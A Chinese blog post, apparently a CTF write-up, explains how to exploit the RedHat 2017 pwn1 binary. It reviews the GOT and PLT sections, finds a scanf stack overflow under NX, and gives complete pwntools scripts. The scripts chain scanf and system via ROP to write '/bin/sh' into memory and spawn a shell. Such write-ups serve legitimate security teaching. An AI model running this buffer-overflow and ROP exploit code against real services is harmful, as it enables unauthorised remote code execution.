PWN_07-RedHat 2017-pwn1讲解ROP技术利用

  1. 6.1-RedHat 2017-pwn1讲解ROP技术利用
  2. 回顾知识
  3. 程序分析
  4. 漏洞利用
  5. 执行结果

6.1-RedHat 2017-pwn1讲解ROP技术利用

  • 通过这里例子演示如何调用一个存在于got表中的函数并控制其 参数

回顾知识

我知道使人迷惑的远远不止这两个节(.plt 和 .got),还有 .got.plt 这个节,下面我将大概讲讲这三个节的含义:

  • .got

    • GOT(Global Offset Table)全局偏移表。这是「链接器」为「外部符号」填充的实际偏移表。
  • .plt

    • PLT(Procedure Linkage Table)程序链接表。它有两个功能,要么在 .got.plt 节中拿到地址,并跳转。要么当 .got.plt 没有所需地址的时,触发「链接器」去找到所需地址
  • .got.plt

    • 这个是 GOT 专门为 PLT 专门准备的节。说白了,.got.plt 中的值是 GOT 的一部分。它包含上述 PLT 表所需地址(已经找到的和需要去触发的)

程序分析

  • 载入IDAPro,F5查看程序伪代码

    F5伪代码查看

  • 发现有scanf这个危险函数,证明肯定存在溢出漏洞

  • 我们使用checksec pwn1查看开启的保护

    NX保护有效

  • 程序开启了NX保护,所以显然我们不可能用shellcode打开一个shell。根据之前的思路,我们很容易想 到要调用system函数执行system(“/bin/sh”)。那么我们从哪里可以找到system和”/bin/sh”呢? 第一个问题,我们知道使用动态链接的程序导入库函数的话,我们可以在GOT表和PLT表中找到函数对应的项 (稍后我们将详细解释)。

  • 跳转到.got.plt段,我们发现程序里居然导入了system函数。

    system函数

  • 接下来我们就要查看程序是否有/bin/sh或者/bin/bash的自字符串

  • 然而我一番查找之后并没有找到,但是我们有scanf函数,我们可以调用这个函数来读取”/bin/sh”字符串到进程内存中。下面我们 来开始构建ROP链。

漏洞利用

  • 我们考虑一下“/bin/sh”字符串应该放哪。通过调试时按Ctrl+S快捷键查看程序的内存分段,我们看 到0x0804a030开始有个可读可写的大于8字节的地址,且该地址不受ASLR影响,我们可以考虑把字符串读到 这里。

    ctrl+S

  • 我们找到__isoc99_scanf的另一个参数“%s”,位于0x08048629

    找到%s

  • 接着我们使用pwntools的功能获取到__isoc99_scanf在PLT表中的地址,PLT表中有一段stub代码,将EIP劫 持到某个函数的PLT表项中我们可以直接调用该函数。我们知道,对于x86的应用程序来说,其参数从右往左 入栈。因此,现在我们就可以构建出一个ROP链。溢出偏移量作为练习。

    from pwn import *
    elf = ELF('./pwn1')
    io = remote('172.17.0.2',10001)
    system_addr =p32(elf.symbols['system'])
    scanf_addr = p32(elf.symbols['__isoc99_scanf'])
    main_addr = p32(0x08048531)
    write_addr = p32(0x0804A030)
    formate_addr = p32(0x08048629)
    payload = 'a'* 0x34 + scanf_addr + main_addr + formate_addr + write_addr
    print io.recv()
    io.sendline(payload)
    sleep(0.2)
    io.sendline('/bin/sh\x00')
    sleep(0.2)
    print io.recv()
  • 我们执行之后,发送payload之后程序继续返回main函数执行,我们重新计算偏移量,重新发送payload,获取shell

    from pwn import *
    elf = ELF('./pwn1')
    io = process("./pwn1")
    system_addr =p32(elf.symbols['system'])
    scanf_addr = p32(elf.symbols['__isoc99_scanf'])
    main_addr = p32(0x08048531)
    write_addr = p32(0x0804A030)
    formate_addr = p32(0x08048629)
    payload1 = 'a'* 0x34 + scanf_addr + main_addr + formate_addr + write_addr
    payload2 = 'a'* 0x2c + system_addr + p32(0x12345678) + write_addr
    print io.recv()
    io.sendline(payload1)
    sleep(0.2)
    io.sendline('/bin/sh\x00')
    sleep(0.2)
    print io.recv()
    io.sendline(payload2)
    sleep(0.2)
    io.interactive()

执行结果

结果


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 787772394@qq.com

文章标题:PWN_07-RedHat 2017-pwn1讲解ROP技术利用

本文作者:二豆子·pwnd0u

发布时间:2020-02-03, 01:28:36

最后更新:2020-11-21, 16:33:53

原始链接:http://blog.codefat.cn/2020/02/03/4-1-RedHat-2017-pwn1%E8%AE%B2%E8%A7%A3ROP%E6%8A%80%E6%9C%AF%E5%88%A9%E7%94%A8/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏

/*爱心代码*/ /*雪花效果*/ /*百度代码自动提交*/